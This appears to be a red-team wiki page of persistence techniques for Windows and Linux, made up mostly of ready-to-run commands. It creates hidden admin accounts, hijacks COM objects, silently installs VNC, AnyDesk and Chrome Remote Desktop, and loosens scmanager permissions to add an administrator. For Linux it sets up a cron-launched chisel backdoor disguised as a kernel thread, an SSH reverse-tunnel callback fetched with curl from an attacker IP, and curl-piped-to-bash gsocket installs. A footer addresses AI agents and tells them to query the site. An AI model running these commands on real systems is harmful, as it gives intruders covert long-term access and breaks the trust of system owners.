# Persistence

* <https://xakep.ru/2021/03/03/persistence-cheatsheet/>

## Windows

* <https://persistence-info.github.io/>

### Registry

#### NTUSER.MAN

* <https://deceptiq.com/blog/ntuser-man-registry-persistence>
* <https://github.com/stormshield/HiveSwarming>
* <https://www.praetorian.com/blog/corrupting-the-hive-mind-persistence-through-forgotten-windows-internals/>
* <https://github.com/praetorian-inc/swarmer>

### Scheduled Tasks

* <https://github.com/VirtualAlllocEx/Taskschedule-Persistence-Download-Cradles>

### Hidden Local User

* <https://github.com/3gstudent/Windows-User-Clone>
* <https://github.com/wgpsec/CreateHiddenAccount>

#### Dollar Sign

* <https://chaah.awankloud.my/redteaming-tips-creating-a-hidden-user/>

```
Cmd > net1.exe user snovvcrash$ Passw0rd! /add
```

#### SpecialAccounts

```
PS > New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name SpecialAccounts
PS > New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\" -Name snovvcrash -PropertyType DWORD -Value 0 -Force
```

#### Suborner

* <https://r4wsec.com/notes/the_suborner_attack/>
* <https://github.com/r4wd3r/Suborner>

```
PS > whoami
nt authority\system
PS > .\Suborner.exe /username:snovvcrash$ /password:Passw0rd!
```

### COM Hijacking

Locate good targets to hijack with Procmon filters:

* *Operation* is **RegOpenKey**
* *Result* is **NAME NOT FOUND**
* *Path* is **InprocServer32** (in-process server allowing the specified DLL to be loaded into current process memory space)

Locate CLSIDs from scheduled tasks:

{% code title="schtask.ps1" %}

```powershell
$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)
{
  if ($Task.Actions.ClassId -ne $null)
  {
    if ($Task.Triggers.Enabled -eq $true)
    {
      if ($Task.Principal.GroupId -eq "Users")
      {
        Write-Host "Task Name: " $Task.TaskName
        Write-Host "Task Path: " $Task.TaskPath
        Write-Host "CLSID: " $Task.Actions.ClassId
        Write-Host
      }
    }
  }
}
```

{% endcode %}

Check if a COM component exists under a relevant registry hive by its CLSID:

```
PS > Get-ChildItem -Path "Registry::HKCR\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
PS > Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize
PS > Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize
```

If it exists under `HKLM` but does **not** exists under `HKCU` hive, we can hijack this COM component by creating a new item in the latter path:

```
PS > New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
PS > New-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -Name "InprocServer32" -Value "C:\Windows\Tasks\evil.dll"
PS > New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}\InprocServer32" -Name "ThreadingModel" -Value "Both"
PS > Get-ItemProperty -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}\InprocServer32"
```

### RID Hijacking

* <https://r4wsecurity.blogspot.com/2017/12/rid-hijacking-maintaining-access-on.html>
* <https://github.com/r4wd3r/RID-Hijacking>

### .LNK Shortcuts

* <https://v3ded.github.io/redteam/abusing-lnk-features-for-initial-access-and-persistence>
* <https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Create-HotKeyLNK.ps1>
* <https://redsiege.com/blog/2024/04/sshishing-abusing-shortcut-files-and-the-windows-ssh-client-for-initial-access/>

### VNC

#### TigerVNC (WinVNC)

* <https://github.com/klsecservices/Invoke-Vnc>
* <https://github.com/rapid7/metasploit-framework/tree/master/external/source/vncdll/vncdll>
* <https://github.com/rsmudge/vncdll>

#### TightVNC

Download and unpack MSI:

```batch
curl https://www.tightvnc.com/download/2.8.85/tightvnc-2.8.85-gpl-setup-64bit.msi -o tightvnc.msi
msiexec /qb /a tightvnc.msi TARGETDIR=%cd%\TightVNC
move TightVNC\PFiles\TightVNC\tvnserver.exe .
move TightVNC\PFiles\TightVNC\screenhooks32.dll .
rmdir TightVNC /s /q
del tightvnc.msi
```

Create a password (8 chars):

```bash
printf "PASSWOR\0" | openssl enc -des-cbc --nopad --nosalt -K 0123456789abcdef -iv 0000000000000000 -provider legacy -provider default | xxd -p
f408495e54374919
```

Install [Vinagre](https://wiki.gnome.org/Apps/Vinagre) client:

```bash
wget http://ftp.de.debian.org/debian/pool/main/v/vinagre/vinagre_3.22.0-8.1_amd64.deb
sudo apt install ./vinagre_3.22.0-8.1_amd64.deb && rm vinagre_3.22.0-8.1_amd64.deb
```

Install TightVNC server:

```powershell
New-Item -Path "HKLM:\Software\TightVNC" -Force > $null
New-Item -Path "HKLM:\Software\TightVNC\Server" -Force > $null

Set-ItemProperty -Path "HKLM:\Software\TightVNC\Server" -Name "Password" -Value ([byte[]](0xf4,0x08,0x49,0x5e,0x54,0x37,0x49,0x19)) -Type Binary -Force
Set-ItemProperty -Path "HKLM:\Software\TightVNC\Server" -Name "RfbPort" -Value 31337 -Type DWord -Force
Set-ItemProperty -Path "HKLM:\Software\TightVNC\Server" -Name "RunControlInterface" -Value 0 -Type DWord -Force
Set-ItemProperty -Path "HKLM:\Software\TightVNC\Server" -Name "RemoveWallpaper" -Value 0 -Type DWord -Force
Set-ItemProperty -Path "HKLM:\Software\TightVNC\Server" -Name "AcceptHttpConnections" -Value 0 -Type DWord -Force
Set-ItemProperty -Path "HKLM:\Software\TightVNC\Server" -Name "LoopbackOnly" -Value 0 -Type DWord -Force
Set-ItemProperty -Path "HKLM:\Software\TightVNC\Server" -Name "AllowLoopback" -Value 1 -Type DWord -Force
Set-ItemProperty -Path "HKLM:\Software\TightVNC\Server" -Name "RunAsService" -Value 1 -Type DWord -Force
Set-ItemProperty -Path "HKLM:\Software\TightVNC\Server" -Name "ServiceDisplayName" -Value "TightVNC Server" -Type String -Force
Set-ItemProperty -Path "HKLM:\Software\TightVNC\Server" -Name "UseVncAuthentication" -Value 1 -Type DWord -Force
Set-ItemProperty -Path "HKLM:\Software\TightVNC\Server" -Name "UseControlAuthentication" -Value 1 -Type DWord -Force
Set-ItemProperty -Path "HKLM:\Software\TightVNC\Server" -Name "QueryAcceptOnTimeout" -Value 1 -Type DWord -Force
Set-ItemProperty -Path "HKLM:\Software\TightVNC\Server" -Name "QueryTimeout" -Value 10 -Type DWord -Force

# cd C:\path\to\tvnserver_exe\and\screenhooks32_dll
Start-Process -FilePath .\tvnserver.exe -ArgumentList "-install -silent" -NoNewWindow -Wait
Start-Service -Name "TightVNC Server"
Get-Service "TightVNC Server"
```

Uninstall TightVNC server:

```powershell
# cd C:\path\to\tvnserver_exe\and\screenhooks32_dll
Start-Process -FilePath .\tvnserver.exe -ArgumentList "-remove -silent" -NoNewWindow -Wait
Get-Service "TightVNC Server"
Remove-Item -Path "HKLM:\Software\TightVNC" -Recurse -Force
Stop-Process -Name tvnserver -Force
rm tvnserver.exe, screenhooks32.dll
```

### AnyDesk

* <https://support.anydesk.com/knowledge/use-cases-for-the-command-line-interface>
* <https://support.anydesk.com/knowledge/command-line-interface-for-windows>

```
Cmd > bitsadmin /transfer job1 https://download.anydesk.com/AnyDesk-CM.exe C:\Users\snovvcrash\AppData\Local\Temp\anydesk.exe
Cmd > C:\Users\snovvcrash\AppData\Local\Temp\anydesk.exe --install C:\Users\snovvcrash\AppData\Local\AnyDesk --start-with-win --silent
Cmd > del C:\Users\snovvcrash\AppData\Local\Temp\anydesk.exe
Cmd > echo Passw0rd! | C:\Users\snovvcrash\AppData\Local\AnyDesk\AnyDesk.exe --set-password
Cmd > cmd /c "for /f ""delims="" %i in ('C:\Users\snovvcrash\AppData\Local\AnyDesk\AnyDesk.exe --get-id') do echo %i"
Cmd > C:\Users\snovvcrash\AppData\Local\AnyDesk\AnyDesk.exe --remove
```

### Chrome Remote Desktop

* <https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide>

Deploy MSI (if Chrome Remote Desktop is NOT already in use on client):

```
Cmd > msiexec /i https://dl.google.com/edgedl/chrome-remote-desktop/chromeremotedesktophost.msi /qn
```

Backup current config (if Chrome Remote Desktop is already in use on client):

```
Cmd > copy /y "%PROGRAMDATA%\Google\Chrome Remote Desktop\host.json" "%PROGRAMDATA%\Google\Chrome Remote Desktop\host.json.bak"
Cmd > copy /y "%PROGRAMDATA%\Google\Chrome Remote Desktop\host_unprivileged.json" "%PROGRAMDATA%\Google\Chrome Remote Desktop\host_unprivileged.json.bak"
PS > cp -Force "${Env:PROGRAMDATA}\Google\Chrome Remote Desktop\host.json" "${Env:PROGRAMDATA}\Google\Chrome Remote Desktop\host.json.bak"
PS > cp -Force "${Env:PROGRAMDATA}\Google\Chrome Remote Desktop\host_unprivileged.json" "${Env:PROGRAMDATA}\Google\Chrome Remote Desktop\host_unprivileged.json.bak"
```

Register device (sometimes `CurrentVersion` path not working, explicit existing version provision may help):

```
Cmd > "%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="<CODE>" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=313337
PS > & "${Env:PROGRAMFILES(X86)}\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="<CODE>" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=$Env:COMPUTERNAME --pin=313337
```

Restore config (and lose access) if needed:

```
Cmd > copy /y "%PROGRAMDATA%\Google\Chrome Remote Desktop\host.json.bak" "%PROGRAMDATA%\Google\Chrome Remote Desktop\host.json"
Cmd > copy /y "%PROGRAMDATA%\Google\Chrome Remote Desktop\host_unprivileged.json.bak" "%PROGRAMDATA%\Google\Chrome Remote Desktop\host_unprivileged.json"
PS > cp -Force "${Env:PROGRAMDATA}\Google\Chrome Remote Desktop\host.json.bak" "${Env:PROGRAMDATA}\Google\Chrome Remote Desktop\host.json"
PS > cp -Force "${Env:PROGRAMDATA}\Google\Chrome Remote Desktop\host_unprivileged.json.bak" "${Env:PROGRAMDATA}\Google\Chrome Remote Desktop\host_unprivileged.json"
```

### Keep Awake

Disable sleep when plugged in / on battery:

```
Cmd > powercfg /change standby-timeout-ac 0
Cmd > powercfg /change standby-timeout-dc 0
```

Disable hibernate when plugged in / on battery:

```
Cmd > powercfg /change hibernate-timeout-ac 0
Cmd > powercfg /change hibernate-timeout-dc 0
```

Disable sleep when closing laptop lid (plugged in / on battery):

```
Cmd > powercfg -setacvalueindex SCHEME_CURRENT SUB_BUTTONS LIDACTION 0
Cmd > powercfg -setdcvalueindex SCHEME_CURRENT SUB_BUTTONS LIDACTION 0
```

Apply all settings:

```
Cmd > powercfg -SetActive SCHEME_CURRENT
```

Create a scheduled task to wake up:

```
PS > schtasks /create /tn "Microsoft\Windows\WindowsUpdate\Refresh Group Policy" /tr "cmd.exe /c exit" /sc daily /st 23:00:00 /ru "SYSTEM" /f
PS > Get-ScheduledTask -TaskName "Refresh Group Policy"
PS > $settings = New-ScheduledTaskSettingsSet -WakeToRun
PS > Set-ScheduledTask -TaskName "Refresh Group Policy" -TaskPath "Microsoft\Windows\WindowsUpdate\" -Settings $settings
PS > powercfg /waketimers
```

### SDDL Manipulation

* <https://0xv1n.github.io/posts/scmanager/>
* <https://gist.github.com/pich4ya/c15af736f0f494c1a560e6c837d77828>

{% embed url="<https://twitter.com/0gtweet/status/1628720819537936386>" %}

Backup current SDDL for `scmanager`:

```
Cmd > sc.exe sdshow scmanager
```

Change it to allow everyone to create a service:

```
Cmd > sc.exe sdset scmanager D:(A;;KA;;;WD)
```

Create a service that will auto run at next reboot:

```
Cmd > sc.exe create lpesvc displayName= "lpesvc" binPath= "C:\Windows\System32\net.exe localgroup administrators snovvcrash /add" obj= LocalSystem start= auto
```

Check if `scmanager` SDDL has been modified:

```
PS > ConvertFrom-SddlString -Sddl $(sc.exe sdshow scmanager | select -Last 1) | select -Expand DiscretionaryAcl
```

### Tools

#### SharPersist

* <https://github.com/fireeye/SharPersist>

```
beacon> execute-assembly SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <BASE64_CMD>" -n "Updater" -m add -o hourly
beacon> execute-assembly SharPersist.exe -t startupfolder -f "UserEnvSetup" -m add
beacon> execute-assembly SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add
```

## Linux

### Cron

Quicky crontab without duplicating backdoor process if already running:

```
$ echo 'if [ -z "$(pwdx $(pgrep chisel) 2>/dev/null | grep home)" ]; then $(cd /home/user/.local/lib; export PATH=.:$PATH; exec -a "kworker/0:2-events" chisel & disown); fi' > /home/user/.local/.1
$ (crontab -l; echo '* * * * * /home/user/.local/.1') | crontab -
```

### SSH

Add a temporary rule allowing connections from your IP:

```
$ sudo iptables -A INPUT -p tcp -s 10.10.13.37 --dport 22 -j ACCEPT
```

### SSH Tunnel in Crontab

{% code title="callback.sh" %}

```bash
#!/bin/bash
if [[ `ps -ef | grep -c 2222` -eq 1 ]]; then
  /usr/bin/ssh -nNT -R 2222:localhost:22 [-oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa] [-oServerAliveInterval=300 -oServerAliveCountMax=3] -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -oIdentitiesOnly=yes -i /home/alice/.ssh/.k nopty@10.10.13.37
fi
```

{% endcode %}

Attacker's box:

```
$ sudo -i
# useradd -ms /bin/false nopty
# mkdir /home/nopty/.ssh
# ssh-keygen -f /home/nopty/.ssh/dummy_key -t ed25519 -q -N ""
# cat /home/nopty/.ssh/dummy_key.pub
# echo 'from="10.10.13.38",command="echo Only port forwarding is allowed",no-agent-forwarding,no-X11-forwarding,no-pty '`cat /home/nopty/.ssh/dummy_key.pub` > /home/nopty/.ssh/authorized_keys
# chown -R nopty:nopty .ssh
```

Victim's box:

```
$ curl 10.10.13.37/dummy_key > /home/alice/.ssh/.k
$ chmod 600 /home/alice/.ssh/.k
$ curl 10.10.13.37/callback.sh > /home/alice/.conf
$ chmod +x /home/alice/.conf
$ crontab -e
*/15 * * * * /home/alice/.conf
```

### Global Socket

* <https://www.gsocket.io/deploy/>

#### Install

Victim's box:

```
$ bash -c "$(curl -fsSL gsocket.io/x)"
$ bash -c "$(wget -qO- gsocket.io/x)"
```

#### Connect

Attacker's box:

```
$ cd ~/tools && bash -c "$(curl -fsSL https://tiny.cc/gsinst)" && cd
$ ~/tools/gsocket/tools/gs-netcat -s "<SECRET>" -i
```

#### Clean Up

Victim's box:

```
$ GS_UNDO=1 bash -c "$(curl -fsSL gsocket.io/x)"
$ GS_UNDO=1 bash -c "$(wget -qO- gsocket.io/x)"

$ pkill gs-bd
```

### Rootkits

* [0x00sec.org/t/kernel-rootkits-getting-your-hands-dirty/1485](https://0x00sec.org/t/kernel-rootkits-getting-your-hands-dirty/1485)
* <https://github.com/eeriedusk/nysm>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ppn.snovvcra.sh/pentest/infrastructure/persistence.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
